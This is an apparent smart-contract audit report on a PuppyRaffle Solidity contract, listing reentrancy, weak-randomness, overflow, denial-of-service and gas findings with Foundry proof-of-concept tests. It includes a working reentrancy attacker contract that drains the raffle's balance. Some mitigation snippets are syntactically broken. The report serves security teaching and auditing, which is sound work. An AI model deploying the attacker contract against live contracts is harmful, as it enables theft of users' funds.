4-puppy-raffle-audit/puppyaudit.md/report.md

\maketitle

Prepared by: Guy zilberblum Lead Auditors: Guy zilberblum

Table of Contents

Protocol Summary

This project is to enter a raffle to win a cute dog NFT

Disclaimer

Guy makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Commit Hash: e30d199697bbc822b646d76533b66b7d529b8ef5

Scope

./src/ └── PuppyRaffle.sol

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the changeFeeAddress function. Player - Participant of the raffle, has the power to enter the raffle with the enterRaffle function and refund value through refund function.

Issues found

|Severity |Number of issues found| |High |3 | |Medium |2 | |Low |1 | |Info |7 | |Gas |2 | |Total |15 |

Findings

H

[H-1] The *PuppyRaffle::refund* function is vulnerable to an reentrancy attack witch risking the protocol to loose all of its money

Description Found in src/PuppyRaffle.sol Line: 98 The function calling a send value transaction and then apdating the changes whitch opens the door for reentrancy attack """

```
    payable(msg.sender).sendValue(entranceFee);

    players[playerIndex] = address(0);
    emit RaffleRefunded(playerAddress);
```

""""

Impact An attacker can call the function via smart contract with a recive/fallback function inside and since the state is changed after the sendvalue line he can call the function many times until all of the fees paid by raffle entrants are stolen

Proof of Concept: 1.User enters the raffle 2.Attacker sets up a contract with a ***fallback/receive*** function that calls the ***refund*** function 3.Attacker enters the raffle 4.Attacker calls the ***refund*** function from there attack contract,drainig the contract balance copy paste the following into PuppyRaffleTest.t.sol

""""

```
 contract ReentrancyAttacker{
 PuppyRaffle puppyRaffle;
 uint256 entranceFee;
 uint256 attackerIndex;

 constructor(address _puppyRaffle) {
    puppyRaffle = PuppyRaffle(_puppyRaffle);
    entranceFee = puppyRaffle.entranceFee();
 }

 function attack() external payable {
    address[] memory players = new address[](1);
    players[0] = address(this);
    puppyRaffle.enterRaffle{value: entranceFee}(players);
    attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
    puppyRaffle.refund(attackerIndex);
 }
 fallback() external payable {
    if (address(puppyRaffle).balance >= entranceFee) {
        puppyRaffle.refund(attackerIndex);
    }
 }
 }




 function testReentrance() public playersEntered {
    ReentrancyAttacker attacker = new ReentrancyAttacker(address(puppyRaffle));
    vm.deal(address(attacker), 1e18);
    uint256 startingAttackerBalance = address(attacker).balance;
    uint256 startingContractBalance = address(puppyRaffle).balance;

    attacker.attack();

    uint256 endingAttackerBalance = address(attacker).balance;
    uint256 endingContractBalance = address(puppyRaffle).balance;
    assertEq(endingAttackerBalance, startingAttackerBalance + startingContractBalance);
    assertEq(endingContractBalance, 0);

    console.log("starting attacker balance", startingAttackerBalance);
    console.log("starting contract balance", startingContractBalance);
    console.log("ending attacker balance", address(attacker).balance);
    console.log("ending contract balance", address(puppyRaffle).balance);
}
```

""""

Recommended Mitigation 1.Use openzeppelin reentrancyguard https://docs.openzeppelin.com/contracts/4.x/api/security 2.consider to follow the CEI rule Checks,effects,interactions whitch in related to the contract consider write the code like this """

```
 players[playerIndex] = address(0);
 emit RaffleRefunded(playerAddress);
 payable(msg.sender).sendValue(entranceFee);
```

"""

[H-2] Weak randomness in */src/PuppyRaffle.sol/function selectWinner* allows users to infuence or predict the winner and influence or predict the winning puppy

Description Hashing msg.sender,block.timestemp,and block.difficulty together creates a predictable find number .A predictable number in not good random number . Malicious users can manipulate these valuse or know them ahead of time to choose the winner of the raffle themselvles

Impact Any user can influence the winner of the raffle , winning the money and selecting the rarest puppy Making hte entire raffle worthless if it becomes a gas war as to who wins the raffles.

Proof of Concept: 1.Validators can know ahead of time the ***block.timestamp*** and ***block.difficulty*** and use that to predict when/how to participate. See the solidity blog on prevrando ***block.difficulty*** was replaced with prevrando 2.User can mine/manipulate their ***msg.sender*** value to result in thir address being used to generate the winner 3.Users can revert their ***selectWinner*** transaction if they dont like the winner or resulting puppy

Recommended Mitigation Consider using a cryptogtaphically provable random number generator such as ChainLink VRF

[H-3] Integer overflow of */src/PuppyRaffle.sol/totalfees* loses fees

Description In solidity versions prior to 0.8.0 integers were subject to integer overflows """ uint64 myVar =type(uint64).max //18446744073709551615 myVar = mayVar +1 // myVar will be 0 """

Impact In ***/src/PuppyRaffle.sol/selectWinner totalFees*** are accumulated for the ***feeAddress*** to collect later in ***withdrawFees*** However in the totalfees varible overflows the fee address my not collect the correct amount of fees leaving fees stuck in the contract

Proof of Concept: copy paste the following into the ***puppy-raffle-audit/test.sol*** you will see after loging the ***totalfeesOverflow*** with is cast by uint64 like the totalfees it will log 0 whitch means it got overflow and there for the protocol will lose fees """

```
    function testOverFlows () public {
       address[] memory players = new address[](4);
    players[0] = playerOne;
    players[1] = playerTwo;
    players[2] = playerThree;
    players[3] = playerFour;
    puppyRaffle.enterRaffle{value: entranceFee * 4}(players);


    uint64 totalFees = 0;
    uint256 totalAmountCollected = players.length * entranceFee;
    uint256 prizePool = (totalAmountCollected * 80) / 100;
    uint256 fee = (totalAmountCollected * 20) / 100;
    uint64 totalfeesOverflow = 0;
    uint64 myVar = type(uint64).max;
    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);
    totalFees = totalFees + uint64(fee);
    totalfeesOverflow = totalfeesOverflow + myVar +1;

    puppyRaffle.selectWinner();
    console.log("max 64 uint", myVar);
    console.log("fee" ,fee);
    console.log("total fee", totalFees);
    console.log("this number should be zero" ,totalfeesOverflow);

}
```

""""

Recommended Mitigation Use a uint256 insted of uint64

M

[M-1] The loop to chek for duplicates has the potential denial of service(DoS) attack, incrementing gas costs fot future players

Description: The more checks the looping function on *** PuppyRaffle::enterRaffle*** has to make the higher the gas cost will be for new players this means the players who enter first will have dramatically lower gas price

Impact: The gas cost for raffle entrants will greatly increase as more players enter the raffle . Discouraging later users from entering and causing a rush at the start of a raffle to be one of the first entrants in the queue.

Proof of Concept: If we have 2 sets of 100 players the second set will pay more gas Place the following test into ***PuppyRaffleTest.t.sol***. """

```
function test_dos() public {
vm.txGasPrice(1);
uint256 playersNum = 100;
address [] memory players = new address[](playersNum);
for(uint256 i =0; i<playersNum; i++){
    players[i] = address(i);
    // going all the way up fro 0 to 99

}
uint256 gasStart = gasleft();
puppyRaffle.enterRaffle{value: entranceFee * players.length}(players);
uint256 gasEnd = gasleft();

uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
console.log("gas used by the first 100 players", gasUsedFirst);

address [] memory playersTWO = new address[](playersNum);
for(uint256 i =0; i<playersNum; i++){
    playersTWO[i] = address(i + playersNum);
    // going all the way up fro 0 to 99
    }
    uint256 gasStartsecond = gasleft();
    puppyRaffle.enterRaffle{value: entranceFee * players.length}(playersTWO);
    uint256 gasEndsecond = gasleft();

    uint256 gasUsed2 = (gasStartsecond - gasEndsecond) * tx.gasprice;
    console.log("gas used by the second 100 players", gasUsed2);
    assert(gasUsedFirst < gasUsed2);
}
```

""""

Recommended Mitigation: Consider using mapping to check for duplicates. this would allow constant time lookup of whether a user has already entered """

```
 mapping (address =>uint256) public addressToRaffleId;
 uint256 public raffleId = 0;
 .
 .
 .
 require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle: Must send enough to enter raffle");
    for (uint256 i = 0; i < newPlayers.length; i++) {
        players.push(newPlayers[i]);
        addressToRaffleId[newPlayers[i]] = raffleId;
    }

     for (uint256 i = 0; i < players.length - 1; i++) {
        require (addressToRaffleId[newPlayers[i]] != raffleId "Duplicated player")

     }

     function selectWinner() external {
        raffleId = raffleId +1;
        require(block.timestamp >= raffeStartTime + raffleDuration,"Raffle not over")
     }
```

"""

[M-2] Smart contract winners with no receive / fallback function will block the start of a new contest and will not receive the price

Description The ***/src/PuppyRaffle.sol/selecWinner*** function is responsible for reseting the lottey how ever in the winner is a smart contract that does not have a receive/fallback function it will reject payments and the lottery will not be able to restart

Impact The ***/src/PuppyRaffle.sol/selecWinner*** function could revert many times making a lottery reset difficult.

Proof of Concept: 1.10 smart contracts wallets enter the lottery without a fallback of receive function 2. The lottery ends 3.The select winner function would not work , even though the lottery is over.

Recommended Mitigation Create a mappping of addresses => payout so winners can pull their funds put themselves, putting the owness on the winner to calim their prize.

L

[L-1] TITLE *PuppyRaffle::getActivePlayerIndex* retunrs 0 for non existing players and for players that at the index 0 , causing a player at index 0 to incorrectly think they have not entered the raffle

Description If a player is at the index 0 , this will return 0 but according to the docs it will also return 0 if the player in not in the array. """

```
 function getActivePlayerIndex(address player) external view returns (uint256) {
    for (uint256 i = 0; i < players.length; i++) {
        if (players[i] == player) {
            return i;
        }
    }

    return 0;
}
```

""""

Impact A player at index 0 to incorrectly think they have not entered the raffle and attempt to enter raffle again wasting gas

Proof of Concept: 1.User enters the raffle , they are the first entrant 2. ***PuppyRaffle::getActivePlayerIndex*** retuns 0 3. 3. User thinks they have not entered correctly due to the function docs

Recommended Mitigation The easiest recommendation would be to revert if the player is not in the array insted of returning 0

Gas

[G-1] Unchanged state veribles should be declered as constant || immutable.

Description Reading from storage is much more expensive than reading from constant || immutable variable.

- Found in src/PuppyRaffle.sol Line: 25
- Found in src/PuppyRaffle.sol Line: 39
- Found in src/PuppyRaffle.sol Line: 44
- Found in src/PuppyRaffle.sol Line: 49

""""

```
 uint256 public raffleDuration;
 should be immutable.
```

""""

""""

```
string private _commonImageUri
string private _rareImageUri
string private _legendaryImageUri
should be constant
```

""""

[G-2] Blank spots in the array may be gas costly when iterating through a long array .

Description

- Found in src/PuppyRaffle.sol [Line: 105](#) Unnecessary addresses with in the array take extra space and when iterating through the array it will cost more gas becase there are more iteration to do

Impact It will cost more gas to the protocol to execute loop functions

Proof of Concept: Copy paste the following into the test.sol The following shows what deleting all the players is more gas efficient then iteration through them thus deleting the blank spots are more gas efficient """

```
   function testBlindSpotCost () public {
    vm.txGasPrice(1);
    uint256 playersnumm = 100;
    address[] memory players = new address[](playersnumm);
    for (uint256 i = 0; i < playersnumm; i++) {
        players[i] = address(i);
    }

    uint256 gasStartt = gasleft();
    puppyRaffle.enterRaffle{value: entranceFee * playersnumm}(players);
    uint256 gasEndd = gasleft();
    uint256 gasUsedFirstt = (gasStartt - gasEndd) * tx.gasprice;
    console.log("Gas cost of itteration with blindspots", gasUsedFirstt);

    uint256 gasBefore = gasleft();
    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);
    puppyRaffle.selectWinner();
    uint256 gasAfter = gasleft();
    uint256 gasUsed = gasBefore - gasAfter;
     console.log("Gas used for deleting players array:", gasUsed);
}
```

""" ***Recommended Mitigation*** Insted of living a black spot consider deleting the player in the refund function

I

Informational

[I-1]: Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

- Found in src/PuppyRaffle.sol [Line: 2]

  ```
  pragma solidity ^0.7.6;
  ```

[I-2] Using an outdated solidity version is not recommended.

please use at least 0.8.0 solidity verion

- Found in src/PuppyRaffle.sol [Line: 2]

[I-3] Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

- Found in src/PuppyRaffle.sol [Line: 62](#)

  ```
          feeAddress = _feeAddress;
  ```

- Found in src/PuppyRaffle.sol [Line: 183](#)

  ```
          feeAddress = newFeeAddress;
  ```

[I-4] *PuppyRaffle::selectWinner* does not follow CEI witch is not a best practice

[I-5] Use of"magic" numbers can be confusing

Description Magic numbers can be confusing insted of using just numbers consider giving the numbers names """

```
uint256 prizePool = (totalAmountCollected * 80) / 100;
  uint256 fee = (totalAmountCollected * 20) / 100;
```

""" ***Recommended Mitigation*** Consider to give names to the numbers for example

uint256 funds_to_the_winner = 80 // precent

uitn256 funds_to_fee_address = 20 // precent

[I-7] PuppyRaffle.sol/src/isActivePlayer is vener used and should be removed

Description """

```
function _isActivePlayer() internal view returns (bool) {
for (uint256 i = 0; i < players.length; i++) {
if (players[i] == msg.sender) {
return true;
}
}
return false;
}
```

"""